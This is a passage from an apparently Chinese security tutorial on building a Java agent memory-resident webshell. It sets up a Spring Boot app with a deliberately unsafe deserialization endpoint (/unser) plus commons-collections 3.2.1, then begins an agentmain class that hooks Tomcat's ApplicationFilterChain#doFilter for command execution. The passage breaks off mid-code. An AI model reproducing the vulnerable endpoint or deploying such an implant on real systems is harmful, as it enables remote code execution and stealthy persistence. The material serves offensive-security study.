写在前面
前面我们对JAVA中的Agent技术进行了简单的学习,学习前面的Agent技术是为了给这篇Agent内存马的实现做出铺垫,接下来我们就来看看Agent内存马的实现。
这是内存马系列篇的第十三篇了。
环境搭建
我这里就使用Springboot来搭建一个简单的漏洞环境,对于agent内存马的注入,我这里搭建的是一个具有明显的反序列化漏洞的web服务,通过反序列化漏洞来进行内存马的注入,
IDEA新建一个springboot项目
漏洞代码:
package com.roboterh.vuln.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;
@Controller
public class CommonsCollectionsVuln {
@ResponseBody
@RequestMapping("/unser")
public void unserialize(HttpServletRequest request, HttpServletResponse response) throws Exception {
java.io.InputStream inputStream = request.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
response.getWriter().println("successfully!!!");
}
@ResponseBody
@RequestMapping("/demo")
public void demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
response.getWriter().println("This is a Demo!!!");
}
}
在/unser
路由中,获取了请求体的序列化数据,进行反序列化调用;
在/demo
路由中,返回了一个字符串;
我打算的是通过CC链进行写入。
添加依赖。
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
正式注入
编写agent.jar
有了前面的知识,我们知道在一个运行中的web服务中,对于premain
方法的调用方式不太适用,更实用的是通过agentmain
方法的调用。
在通过内置的Attach API进行加载之后将会调用这个方法进行动态修改字节码,所以如果我们能够在该方法中实现我们的恶意逻辑,就能够达到我们的目的。
但是怎么才能注入内存马使得能够与用户请求进行交互式的命令执行捏?这里我们是通过类似于前面提到过的在Tomcat
Filter内存马类似的思想,通过利用org.apache.catalina.core.ApplicationFilterChain#doFilter
方法。
只是对于前面所提到的Filter
型内存马的实现主要是通过动态添加了一个过滤器,通过配置特定的路由和调用对应的doFilter
方法进行利用。
这里我们注入agent内存马主要是通过使用前面基础部分讲过的通过javassist
框架进行修改doFilter方法的字节码。
非常友好的是在doFilter
方法中存在有ServletRequest / ServletResponse
实例,可以直接和请求进行交互。
好了,接下来看看实现,我们可以简化为以下关键的几步:
-
通过
addTransformer
方法的调用来添加一个实现了java.lang.instrument.ClassFileTransformer
接口的一个类。
-
之后通过调用
retransformClasses
方法,来触发前面添加的转换器的transform
方法来修改传入的类的对应方法的字节码。
首先是一个存在有agentmain
方法的AgentDemo
类。
import java.lang.instrument.Instrumentation;
public class AgentDemo {
public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static void agentmain(String agentArgs, Instrumentation inst) {
inst.addTransformer(new TransformerDemo(), true);
Class[] allLoadedClasses = inst.getAllLoadedClasses();
for (Class aClass : allLoadedClasses) {
if (aClass.getName().equals(ClassName)) {
System.out